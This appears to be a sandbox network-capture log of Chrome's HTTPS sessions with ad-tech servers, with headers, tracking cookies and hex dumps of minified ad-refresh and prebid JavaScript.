2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 63 6b 2d 22 2b 28 6e 75 6c 6c 21 3d 3d 28 6f 3d 22 62 62 64 63 33 39 63 22 29 3f 6f 3a 22 75 6e 6b 6e 6f 77 6e 22 29 2b 22 5d 22 3b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 72 65 74 75 72 6e 20 61 7c 7c 73 7d 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 65 3d 30 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 74 5b 65 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 3b 63 28 29 26 26 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 2e 61 70 70 6c 79 28 63 6f 6e 73 6f 6c 65 2c 69 28 5b 75 5d 2c 74 29 29 7d 66 75 6e 63 74 69 6f 6e 20 66 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 65 3d 30 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 74 5b 65 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 3b 63 28 29 Data Ascii: ck-"+(null!==(o="bbdc39c")?o:"unknown")+"]";function c(){return a\|\|s}function d(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];c()&&console.log.apply(console,i([u],t))}function f(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];c()
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 68 69 73 29 7c 7c 6e 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 29 7c 7c 6e 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 29 7c 7c 6e 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 65 29 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 28 29 7c 7c 46 75 6e 63 74 69 6f 6e 28 22 72 65 74 75 72 6e 20 74 68 69 73 22 29 28 29 7d 29 2e 63 61 6c 6c 28 74 68 69 73 2c 6e 28 31 39 33 29 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 6e 28 33 29 2c 6f 3d 6e 28 32 34 29 2c 69 3d 72 2e 53 74 72 69 6e 67 2c 61 3d 72 2e 54 79 70 65 45 72 72 6f 72 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 Data Ascii: his)\|\|n("object"==typeof window&&window)\|\|n("object"==typeof self&&self)\|\|n("object"==typeof e&&e)\|\|function(){return this}()\|\|Function("return this")()}).call(this,n(193))},function(t,e,n){var r=n(3),o=n(24),i=r.String,a=r.TypeError;t.exports=function(t)
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 72 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 6f 28 74 29 29 72 65 74 75 72 6e 20 74 3b 74 68 72 6f 77 20 61 28 69 28 74 29 2b 22 20 69 73 20 6e 6f 74 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 63 61 6c 6c 3b 74 2e 65 78 70 6f 72 74 73 3d 6e 2e 62 69 6e 64 3f 6e 2e 62 69 6e 64 28 6e 29 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 2e 61 70 70 6c 79 28 6e 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 6e 28 35 33 29 2c 6f 3d 6e 28 36 34 29 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e Data Ascii: r;t.exports=function(t){if(o(t))return t;throw a(i(t)+" is not a function")}},function(t,e){var n=Function.prototype.call;t.exports=n.bind?n.bind(n):function(){return n.apply(n,arguments)}},function(t,e,n){var r=n(53),o=n(64);function i(e){return"function
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 72 3d 6e 28 31 36 29 2c 6f 3d 6e 28 32 39 29 2c 69 3d 6e 28 31 33 32 29 2c 61 3d 6e 28 33 39 29 2e 66 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 72 2e 53 79 6d 62 6f 6c 7c 7c 28 72 2e 53 79 6d 62 6f 6c 3d 7b 7d 29 3b 6f 28 65 2c 74 29 7c 7c 61 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 69 2e 66 28 74 29 7d 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 6e 28 39 29 2c 6f 3d 6e 28 31 30 29 2c 69 3d 72 28 72 2e 62 69 6e 64 29 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 6f 28 74 29 2c 76 6f 69 64 20 30 3d 3d 3d 65 3f 74 3a 69 3f 69 28 74 2c 65 29 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 61 70 70 6c 79 28 65 2c 61 72 67 Data Ascii: r=n(16),o=n(29),i=n(132),a=n(39).f;t.exports=function(t){var e=r.Symbol\|\|(r.Symbol={});o(e,t)\|\|a(e,t,{value:i.f(t)})}},function(t,e,n){var r=n(9),o=n(10),i=r(r.bind);t.exports=function(t,e){return o(t),void 0===e?t:i?i(t,e):function(){return t.apply(e,arg
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 29 5b 30 5d 3a 22 2f 22 2b 74 2e 73 70 6c 69 74 28 22 3f 22 29 5b 30 5d 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 67 65 74 41 64 55 6e 69 74 50 61 74 68 28 29 2e 72 65 70 6c 61 63 65 28 22 2f 2f 22 2c 22 2f 22 29 7d 28 65 29 3b 72 65 74 75 72 6e 20 6f 3d 3d 3d 28 61 28 29 28 69 29 2e 63 61 6c 6c 28 69 2c 22 2f 22 29 3f 69 3a 22 2f 22 2b 69 29 26 26 28 76 6f 69 64 20 30 3d 3d 3d 72 7c 7c 65 2e 67 65 74 54 61 72 67 65 74 69 6e 67 28 72 2e 6b 65 79 29 5b 30 5d 3d 3d 3d 72 2e 76 61 6c 75 65 29 7d 76 61 72 20 54 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 74 2e 70 61 74 68 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 65 26 26 76 6f 69 64 20 30 21 3d 3d 6e 29 7b 76 61 72 20 72 3d 65 2e 70 75 62 61 64 73 28 29 2e 67 65 Data Ascii: )[0]:"/"+t.split("?")[0],i=function(t){return t.getAdUnitPath().replace("//","/")}(e);return o===(a()(i).call(i,"/")?i:"/"+i)&&(void 0===r\|\|e.getTargeting(r.key)[0]===r.value)}var T=function(t,e){var n=t.path;if(void 0!==e&&void 0!==n){var r=e.pubads().ge
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 20 61 66 74 65 72 20 35 20 73 65 63 6f 6e 64 73 22 29 2c 6e 28 29 7d 29 2c 35 65 33 29 3b 21 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 6e 2c 72 2c 6f 29 7b 69 66 28 21 28 6f 3e 3d 35 30 29 29 7b 76 61 72 20 69 3d 42 28 65 5b 53 5d 29 3b 76 6f 69 64 20 30 3d 3d 3d 69 3f 77 28 29 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 65 2c 6e 2c 72 2c 6f 2b 31 29 7d 29 2c 31 30 30 29 3a 28 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 72 29 2c 6e 28 69 29 29 7d 7d 28 74 2c 65 2c 72 2c 30 29 7d 29 29 7d 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 65 26 26 65 2e 61 70 69 52 65 61 64 79 26 26 76 6f 69 64 20 30 21 3d 3d 65 2e 63 6d 64 26 26 76 6f 69 64 20 30 21 3d 3d 65 2e 70 75 62 61 64 73 26 26 22 66 75 6e 63 74 69 6f Data Ascii: after 5 seconds"),n()}),5e3);!function t(e,n,r,o){if(!(o>=50)){var i=B(e[S]);void 0===i?w()((function(){t(e,n,r,o+1)}),100):(clearTimeout(r),n(i))}}(t,e,r,0)}))},B=function(t){var e=t;if(void 0!==e&&e.apiReady&&void 0!==e.cmd&&void 0!==e.pubads&&"functio

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
285	192.168.2.4	50074	68.67.179.153	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	437	OUT	GET /ut/v3/prebid HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; uuid2=3287041831475129344
2024-03-28 08:51:25 UTC	1360	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Thu, 28 Mar 2024 08:51:25 GMT Content-Type: application/json; charset=utf-8 Content-Length: 57 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: 20ddee42-bc5f-4f38-9c8e-adad290eef48 Set-Cookie: XANDR_PANID=lrIMXG8HxmNjbrdQlpv4OSloj2M18-AhkBW21a49HFp50VW19urRSGpO160hdM-ZHTWzVhBiKGc4ifiVP5_BioKCR2j86stRw3IjEZG8DyA.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:25 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 16-Mar-2034 08:51:25 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=3287041831475129344; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:25 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 102.165.48.43; 102.165.48.43; 570.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com
2024-03-28 08:51:25 UTC	57	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 6a 73 6f 6e 70 20 72 65 71 75 69 72 65 73 20 61 20 75 72 69 65 6e 63 6f 64 65 64 20 71 75 65 72 79 73 74 72 69 6e 67 20 70 61 72 61 6d 22 7d Data Ascii: {"error":"jsonp requires a uriencoded querystring param"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
286	192.168.2.4	50077	172.67.25.151	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	362	OUT	GET /index-refresh-bbdc39c.js HTTP/1.1 Host: cdn.pbstck.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:25 UTC	537	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:25 GMT Content-Type: application/javascript Content-Length: 151919 Connection: close x-amz-id-2: 2ujjdzunqH+f37JIj6k+mYB5hfGnjgRbvhTIDVoProU+TbXeAjvT9Cy870TdvSJaYkXQEuMQfWU= x-amz-request-id: APY09ZT8AKVWFA56 Cache-Control: public, max-age=604800, immutable Last-Modified: Wed, 13 Sep 2023 12:21:10 GMT ETag: "530f4687c9db064d9c81999237c5da8e" CF-Cache-Status: HIT Age: 60906 Accept-Ranges: bytes Server: cloudflare CF-RAY: 86b660d678f92418-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:25 UTC	832	IN	Data Raw: 74 68 69 73 2e 72 65 66 72 65 73 68 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 65 5b 72 5d 29 72 65 74 75 72 6e 20 65 5b 72 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6f 3d 65 5b 72 5d 3d 7b 69 3a 72 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 74 5b 72 5d 2e 63 61 6c 6c 28 6f 2e 65 78 70 6f 72 74 73 2c 6f 2c 6f 2e 65 78 70 6f 72 74 73 2c 6e 29 2c 6f 2e 6c 3d 21 30 2c 6f 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6e 2e 6d 3d 74 2c 6e 2e 63 3d 65 2c 6e 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 6e 2e 6f 28 74 2c 65 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 65 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a Data Ascii: this.refresh=function(t){var e={};function n(r){if(e[r])return e[r].exports;var o=e[r]={i:r,l:!1,exports:{}};return t[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 28 65 2c 22 61 22 2c 65 29 2c 65 7d 2c 6e 2e 6f 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 65 29 7d 2c 6e 2e 70 3d 22 22 2c 6e 28 6e 2e 73 3d 35 31 30 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 65 2c 22 62 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 7d 29 29 2c 6e 2e 64 28 65 2c 22 72 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 54 7d 29 29 2c 6e 2e 64 28 65 2c 22 73 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 41 7d 29 29 2c 6e 2e 64 28 65 2c 22 69 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 Data Ascii: (e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p="",n(n.s=510)}([function(t,e,n){"use strict";n.d(e,"b",(function(){return I})),n.d(e,"r",(function(){return T})),n.d(e,"s",(function(){return A})),n.d(e,"i",(function(){r
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 3b 76 61 72 20 65 3d 53 28 6e 29 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 29 7b 72 65 74 75 72 6e 20 73 28 29 28 74 68 69 73 2c 6e 29 2c 65 2e 63 61 6c 6c 28 74 68 69 73 2c 74 29 7d 72 65 74 75 72 6e 20 6e 7d 28 62 28 29 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 49 28 74 2c 65 29 7b 69 66 28 21 79 28 29 28 74 29 29 74 68 72 6f 77 20 6e 65 77 20 45 28 6e 75 6c 6c 21 3d 65 3f 65 3a 22 45 78 70 65 63 74 65 64 20 76 61 6c 75 65 20 74 6f 20 62 65 20 61 6e 20 61 72 72 61 79 2c 20 62 75 74 20 72 65 63 65 69 76 65 64 20 22 2e 63 6f 6e 63 61 74 28 61 28 29 28 74 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 54 28 74 29 7b 72 65 74 75 72 6e 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 21 69 73 4e 61 4e 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 41 28 Data Ascii: ;var e=S(n);function n(t){return s()(this,n),e.call(this,t)}return n}(b()(Error));function I(t,e){if(!y()(t))throw new E(null!=e?e:"Expected value to be an array, but received ".concat(a()(t)))}function T(t){return"number"==typeof t&&!isNaN(t)}function A(
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 20 65 71 75 61 6c 20 74 6f 20 27 22 2e 63 6f 6e 63 61 74 28 65 2c 22 27 2c 20 62 75 74 20 72 65 63 65 69 76 65 64 20 22 29 29 2e 63 61 6c 6c 28 72 2c 74 29 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 74 2c 65 29 7b 69 66 28 21 74 29 74 68 72 6f 77 20 6e 65 77 20 45 28 6e 75 6c 6c 21 3d 65 3f 65 3a 22 45 78 70 65 63 74 65 64 20 76 61 6c 75 65 20 74 6f 20 62 65 20 74 72 75 65 2c 20 62 75 74 20 72 65 63 65 69 76 65 64 20 22 2e 63 6f 6e 63 61 74 28 74 29 29 7d 66 75 6e 63 74 69 6f 6e 20 4c 28 74 2c 65 29 7b 69 66 28 21 79 28 29 28 74 29 7c 7c 30 3d 3d 3d 6b 28 29 28 74 29 2e 63 61 6c 6c 28 74 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 21 3d 3d 74 7d 29 29 2e 6c 65 6e 67 74 68 29 74 68 72 6f 77 20 6e 65 77 20 45 28 6e 75 6c 6c Data Ascii: equal to '".concat(e,"', but received ")).call(r,t))}function D(t,e){if(!t)throw new E(null!=e?e:"Expected value to be true, but received ".concat(t))}function L(t,e){if(!y()(t)\|\|0===k()(t).call(t,(function(t){return void 0!==t})).length)throw new E(null
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 22 2b 28 6e 75 6c 6c 21 3d 3d 28 6f 3d 22 62 62 64 63 33 39 63 22 29 3f 6f 3a 22 75 6e 6b 6e 6f 77 6e 22 29 2b 22 5d 22 3b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 72 65 74 75 72 6e 20 61 7c 7c 75 7d 66 75 6e 63 74 69 6f 6e 20 66 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 65 3d 30 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 74 5b 65 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 3b 63 28 29 26 26 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 2e 61 70 70 6c 79 28 63 6f 6e 73 6f 6c 65 2c 69 28 5b 73 5d 2c 74 29 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 65 3d 30 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 74 5b 65 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 3b 63 28 29 26 26 63 Data Ascii: "+(null!==(o="bbdc39c")?o:"unknown")+"]";function c(){return a\|\|u}function f(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];c()&&console.log.apply(console,i([s],t))}function l(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];c()&&c
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 29 7c 7c 6e 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 29 7c 7c 6e 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 29 7c 7c 6e 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 65 29 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 28 29 7c 7c 46 75 6e 63 74 69 6f 6e 28 22 72 65 74 75 72 6e 20 74 68 69 73 22 29 28 29 7d 29 2e 63 61 6c 6c 28 74 68 69 73 2c 6e 28 31 39 33 29 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 6e 28 33 29 2c 6f 3d 6e 28 32 34 29 2c 69 3d 72 2e 53 74 72 69 6e 67 2c 61 3d 72 2e 54 79 70 65 45 72 72 6f 72 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 Data Ascii: )\|\|n("object"==typeof window&&window)\|\|n("object"==typeof self&&self)\|\|n("object"==typeof e&&e)\|\|function(){return this}()\|\|Function("return this")()}).call(this,n(193))},function(t,e,n){var r=n(3),o=n(24),i=r.String,a=r.TypeError;t.exports=function(t){if
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 6f 28 74 29 29 72 65 74 75 72 6e 20 74 3b 74 68 72 6f 77 20 61 28 69 28 74 29 2b 22 20 69 73 20 6e 6f 74 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 63 61 6c 6c 3b 74 2e 65 78 70 6f 72 74 73 3d 6e 2e 62 69 6e 64 3f 6e 2e 62 69 6e 64 28 6e 29 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 2e 61 70 70 6c 79 28 6e 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 6e 28 35 33 29 2c 6f 3d 6e 28 36 34 29 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d Data Ascii: .exports=function(t){if(o(t))return t;throw a(i(t)+" is not a function")}},function(t,e){var n=Function.prototype.call;t.exports=n.bind?n.bind(n):function(){return n.apply(n,arguments)}},function(t,e,n){var r=n(53),o=n(64);function i(e){return"function"==
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 28 31 36 29 2c 6f 3d 6e 28 32 39 29 2c 69 3d 6e 28 31 33 32 29 2c 61 3d 6e 28 33 39 29 2e 66 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 72 2e 53 79 6d 62 6f 6c 7c 7c 28 72 2e 53 79 6d 62 6f 6c 3d 7b 7d 29 3b 6f 28 65 2c 74 29 7c 7c 61 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 69 2e 66 28 74 29 7d 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 6e 28 39 29 2c 6f 3d 6e 28 31 30 29 2c 69 3d 72 28 72 2e 62 69 6e 64 29 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 6f 28 74 29 2c 76 6f 69 64 20 30 3d 3d 3d 65 3f 74 3a 69 3f 69 28 74 2c 65 29 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 61 70 70 6c 79 28 65 2c 61 72 67 75 6d 65 Data Ascii: (16),o=n(29),i=n(132),a=n(39).f;t.exports=function(t){var e=r.Symbol\|\|(r.Symbol={});o(e,t)\|\|a(e,t,{value:i.f(t)})}},function(t,e,n){var r=n(9),o=n(10),i=r(r.bind);t.exports=function(t,e){return o(t),void 0===e?t:i?i(t,e):function(){return t.apply(e,argume
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 5d 3a 22 2f 22 2b 74 2e 73 70 6c 69 74 28 22 3f 22 29 5b 30 5d 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 67 65 74 41 64 55 6e 69 74 50 61 74 68 28 29 2e 72 65 70 6c 61 63 65 28 22 2f 2f 22 2c 22 2f 22 29 7d 28 65 29 3b 72 65 74 75 72 6e 20 6f 3d 3d 3d 28 61 28 29 28 69 29 2e 63 61 6c 6c 28 69 2c 22 2f 22 29 3f 69 3a 22 2f 22 2b 69 29 26 26 28 76 6f 69 64 20 30 3d 3d 3d 72 7c 7c 65 2e 67 65 74 54 61 72 67 65 74 69 6e 67 28 72 2e 6b 65 79 29 5b 30 5d 3d 3d 3d 72 2e 76 61 6c 75 65 29 7d 76 61 72 20 41 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 74 2e 70 61 74 68 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 65 26 26 76 6f 69 64 20 30 21 3d 3d 6e 29 7b 76 61 72 20 72 3d 65 2e 70 75 62 61 64 73 28 29 2e 67 65 74 53 6c Data Ascii: ]:"/"+t.split("?")[0],i=function(t){return t.getAdUnitPath().replace("//","/")}(e);return o===(a()(i).call(i,"/")?i:"/"+i)&&(void 0===r\|\|e.getTargeting(r.key)[0]===r.value)}var A=function(t,e){var n=t.path;if(void 0!==e&&void 0!==n){var r=e.pubads().getSl
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 74 65 72 20 35 20 73 65 63 6f 6e 64 73 22 29 2c 6e 28 29 7d 29 2c 35 65 33 29 3b 21 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 6e 2c 72 2c 6f 29 7b 69 66 28 21 28 6f 3e 3d 35 30 29 29 7b 76 61 72 20 69 3d 55 28 65 5b 45 5d 29 3b 76 6f 69 64 20 30 3d 3d 3d 69 3f 4f 28 29 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 65 2c 6e 2c 72 2c 6f 2b 31 29 7d 29 2c 31 30 30 29 3a 28 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 72 29 2c 6e 28 69 29 29 7d 7d 28 74 2c 65 2c 72 2c 30 29 7d 29 29 7d 2c 55 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 65 26 26 65 2e 61 70 69 52 65 61 64 79 26 26 76 6f 69 64 20 30 21 3d 3d 65 2e 63 6d 64 26 26 76 6f 69 64 20 30 21 3d 3d 65 2e 70 75 62 61 64 73 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d Data Ascii: ter 5 seconds"),n()}),5e3);!function t(e,n,r,o){if(!(o>=50)){var i=U(e[E]);void 0===i?O()((function(){t(e,n,r,o+1)}),100):(clearTimeout(r),n(i))}}(t,e,r,0)}))},U=function(t){var e=t;if(void 0!==e&&e.apiReady&&void 0!==e.cmd&&void 0!==e.pubads&&"function"=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
287	192.168.2.4	50070	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	365	OUT	GET /openrtb/pbjs?s=844716 HTTP/1.1 Host: htlb.casalemedia.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
